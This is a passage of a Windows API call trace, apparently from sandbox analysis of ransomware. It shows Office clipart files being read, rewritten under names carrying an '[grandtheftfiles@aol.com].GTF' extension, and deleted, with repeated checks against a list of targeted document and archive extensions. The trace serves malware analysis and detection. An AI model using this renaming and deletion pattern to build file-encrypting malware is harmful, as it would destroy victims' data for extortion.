	[0082.699] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.700] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.700] SetEndOfFile (hFile=0x31c) returned 1
	[0082.700] CloseHandle (hObject=0x31c) returned 1
	[0082.701] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.701] SetEndOfFile (hFile=0x35c) returned 1
	[0082.702] CloseHandle (hObject=0x35c) returned 1
	[0082.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1
	[0082.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.702] lstrlenW (lpString=".doc") returned 4
	[0082.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.702] lstrlenW (lpString=".docx") returned 5
	[0082.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.702] lstrlenW (lpString=".pdf") returned 4
	[0082.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.702] lstrlenW (lpString=".xls") returned 4
	[0082.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.702] lstrlenW (lpString=".xlsx") returned 5
	[0082.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.702] lstrlenW (lpString=".ppt") returned 4
	[0082.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.703] lstrlenW (lpString=".zip") returned 4
	[0082.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.703] lstrlenW (lpString=".rar") returned 4
	[0082.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString=".bz2") returned 4
	[0082.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString=".7z") returned 3
	[0082.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.703] lstrlenW (lpString=".dbf") returned 4
	[0082.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.703] lstrlenW (lpString=".1cd") returned 4
	[0082.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.703] lstrlenW (lpString=".jpg") returned 4
	[0082.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.703] lstrlenW (lpString=".doc") returned 4
	[0082.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString=".docx") returned 5
	[0082.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.703] lstrlenW (lpString=".pdf") returned 4
	[0082.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString=".xls") returned 4
	[0082.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.703] lstrlenW (lpString=".xlsx") returned 5
	[0082.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.703] lstrlenW (lpString=".ppt") returned 4
	[0082.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.703] lstrlenW (lpString=".zip") returned 4
	[0082.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.703] lstrlenW (lpString=".rar") returned 4
	[0082.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.703] lstrlenW (lpString=".bz2") returned 4
	[0082.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.704] lstrlenW (lpString=".7z") returned 3
	[0082.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.704] lstrlenW (lpString=".dbf") returned 4
	[0082.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.704] lstrlenW (lpString=".1cd") returned 4
	[0082.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0082.704] lstrlenW (lpString=".jpg") returned 4
	[0082.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.704] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0082.704] lstrlenW (lpString="BD10890_.GIF") returned 12
	[0082.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.705] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=13515) returned 1
	[0082.705] CloseHandle (hObject=0x35c) returned 1
	[0082.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220
	[0082.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.705] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.705] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0082.705] GetLastError () returned 0x0
	[0082.705] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x34cb, lpOverlapped=0x0) returned 1
	[0082.707] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x34d0, lpOverlapped=0x0) returned 1
	[0082.708] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.708] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.708] SetEndOfFile (hFile=0x31c) returned 1
	[0082.709] CloseHandle (hObject=0x31c) returned 1
	[0082.710] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.710] SetEndOfFile (hFile=0x35c) returned 1
	[0082.710] CloseHandle (hObject=0x35c) returned 1
	[0082.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1
	[0082.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.711] lstrlenW (lpString=".doc") returned 4
	[0082.711] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.711] lstrlenW (lpString=".docx") returned 5
	[0082.711] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.711] lstrlenW (lpString=".pdf") returned 4
	[0082.711] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.711] lstrlenW (lpString=".xls") returned 4
	[0082.711] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.711] lstrlenW (lpString=".xlsx") returned 5
	[0082.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.711] lstrlenW (lpString=".ppt") returned 4
	[0082.711] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.711] lstrlenW (lpString=".zip") returned 4
	[0082.711] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.711] lstrlenW (lpString=".rar") returned 4
	[0082.711] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.712] lstrlenW (lpString=".bz2") returned 4
	[0082.712] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.712] lstrlenW (lpString=".7z") returned 3
	[0082.712] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.712] lstrlenW (lpString=".dbf") returned 4
	[0082.712] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.712] lstrlenW (lpString=".1cd") returned 4
	[0082.712] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.712] lstrlenW (lpString=".jpg") returned 4
	[0082.712] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.712] lstrlenW (lpString=".doc") returned 4
	[0082.712] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.712] lstrlenW (lpString=".docx") returned 5
	[0082.712] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.712] lstrlenW (lpString=".pdf") returned 4
	[0082.712] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.712] lstrlenW (lpString=".xls") returned 4
	[0082.712] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.712] lstrlenW (lpString=".xlsx") returned 5
	[0082.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.712] lstrlenW (lpString=".ppt") returned 4
	[0082.712] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.712] lstrlenW (lpString=".zip") returned 4
	[0082.712] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.712] lstrlenW (lpString=".rar") returned 4
	[0082.712] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.712] lstrlenW (lpString=".bz2") returned 4
	[0082.712] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.712] lstrlenW (lpString=".7z") returned 3
	[0082.712] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.713] lstrlenW (lpString=".dbf") returned 4
	[0082.713] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.713] lstrlenW (lpString=".1cd") returned 4
	[0082.713] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0082.713] lstrlenW (lpString=".jpg") returned 4
	[0082.713] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.713] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0082.713] lstrlenW (lpString="BD10972_.GIF") returned 12
	[0082.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.713] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=20189) returned 1
	[0082.713] CloseHandle (hObject=0x35c) returned 1
	[0082.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220
	[0082.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.714] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.714] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0082.714] GetLastError () returned 0x0
	[0082.714] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4edd, lpOverlapped=0x0) returned 1
	[0082.716] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0082.717] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.717] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.717] SetEndOfFile (hFile=0x31c) returned 1
	[0082.717] CloseHandle (hObject=0x31c) returned 1
	[0082.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.718] SetEndOfFile (hFile=0x35c) returned 1
	[0082.720] CloseHandle (hObject=0x35c) returned 1
	[0082.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1
	[0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.721] lstrlenW (lpString=".doc") returned 4
	[0082.721] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.721] lstrlenW (lpString=".docx") returned 5
	[0082.721] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.721] lstrlenW (lpString=".pdf") returned 4
	[0082.721] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.721] lstrlenW (lpString=".xls") returned 4
	[0082.721] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.721] lstrlenW (lpString=".xlsx") returned 5
	[0082.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.721] lstrlenW (lpString=".ppt") returned 4
	[0082.721] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.721] lstrlenW (lpString=".zip") returned 4
	[0082.721] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.721] lstrlenW (lpString=".rar") returned 4
	[0082.721] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.721] lstrlenW (lpString=".bz2") returned 4
	[0082.721] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.721] lstrlenW (lpString=".7z") returned 3
	[0082.721] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString=".dbf") returned 4
	[0082.722] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString=".1cd") returned 4
	[0082.722] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString=".jpg") returned 4
	[0082.722] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString=".doc") returned 4
	[0082.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.722] lstrlenW (lpString=".docx") returned 5
	[0082.722] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.722] lstrlenW (lpString=".pdf") returned 4
	[0082.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.722] lstrlenW (lpString=".xls") returned 4
	[0082.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.722] lstrlenW (lpString=".xlsx") returned 5
	[0082.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.722] lstrlenW (lpString=".ppt") returned 4
	[0082.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString=".zip") returned 4
	[0082.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.722] lstrlenW (lpString=".rar") returned 4
	[0082.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.722] lstrlenW (lpString=".bz2") returned 4
	[0082.722] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.722] lstrlenW (lpString=".7z") returned 3
	[0082.722] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString=".dbf") returned 4
	[0082.722] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.722] lstrlenW (lpString=".1cd") returned 4
	[0082.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0082.723] lstrlenW (lpString=".jpg") returned 4
	[0082.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.723] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0082.723] lstrlenW (lpString="BD19563_.GIF") returned 12
	[0082.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.723] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=20454) returned 1
	[0082.723] CloseHandle (hObject=0x35c) returned 1
	[0082.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220
	[0082.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.341] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.341] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.342] GetLastError () returned 0x0
	[0083.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4fe6, lpOverlapped=0x0) returned 1
